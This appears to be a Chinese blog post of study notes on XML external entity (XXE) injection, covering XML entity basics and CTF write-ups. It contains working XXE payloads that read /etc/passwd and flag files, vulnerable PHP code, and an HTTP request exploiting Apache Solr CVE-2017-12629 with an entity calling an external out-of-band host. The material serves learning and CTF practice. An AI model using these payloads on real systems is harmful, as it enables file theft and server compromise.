XXE

https://xz.aliyun.com/t/3357

XXE

XXE(XML External Entity Injection) 全称为 XML 外部实体注入,从名字就能看出来,这是一个注入漏洞,注入的是什么?XML外部实体。(看到这里肯定有人要说:你这不是在废话),固然,其实我这里废话只是想强调我们的利用点是 外部实体 ,也是提醒读者将注意力集中于外部实体中,而不要被 XML 中其他的一些名字相似的东西扰乱了思维(盯好外部实体就行了),如果能注入 外部实体并且成功解析的话,这就会大大拓宽我们 XML 注入的攻击面

XML基础

基础语法

<?xml version=’1.0’?>//声明XML解析器版本
<root>//根元素
<sub1>1</sub1>//子元素1
<sub2>2</sub2>//子元素2
</root>

XML中,标签名就是变量名,标签里面的数据就是变量的值

在XML中某些单独字符,如' " < >都不允许直接出现在XML文档中

XML实体

XML的结构
XML由XML声明,DTD部分,XML部分三部分组成
DTD部分用来定义 XML 文档的合法构建模块
XML的实体

实体类型 声明 引用 范围
一般实体 <!ENTITY 实体名称 "实体内容"> &实体名称; 一般实体可以在DTD中引用,可以在XML中引用,可以在声明前引用,还可以在实体声明内部引用。
参数实体 <!ENTITY % 实体名称 "实体内容"> %实体名称; 参数实体必须定义在单独的DTD区域,这种实体相对灵活,这种功能在漏洞利用场景的外部实体注入(XXE)过程中非常有用

常用的两种实体

XXE的利用

读取文件

简单的读文件

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [
<!ENTITY file SYSTEM "file:///flag"> ]>
<creds>&file;</creds>

ctfshow web373

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $creds = simplexml_import_dom($dom);
    $ctfshow = $creds->ctfshow;
    echo $ctfshow;
}
highlight_file(__FILE__);    
非常基础的读文件

miniL 2023 fakeLogin

xxe读文件配合flask算Pin RCE
image
从登录包中可以看到,用户名和密码是以xml形式传递的,尝试了一下,不能引入外部实体,回显点在登陆失败的信息里面,

<!DOCTYPE user [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user><username>
&xxe;
</username><password>123456</password></user>

读取文件最后算Pin

Apache Solr XXE漏洞(CVE-2017-12629)

GET /solr/demo/select?q=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3C!DOCTYPE%20root%20%5B%0A%3C!ENTITY%20%25%20remote%20SYSTEM%20%22https%3A%2F%2Fxxe.3rv9qscoh8nfzrgvtt0q8wti69c00p.oastify.com%2F%22%3E%0A%25remote%3B%5D%3E%0A%3Croot%2F%3E&wt=xml&defType=xmlparser HTTP/1.1
Host: 39.101.70.33:8983
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
posted @ 2023-05-10 17:19  V3g3t4ble  阅读(390)  评论(0编辑  收藏  举报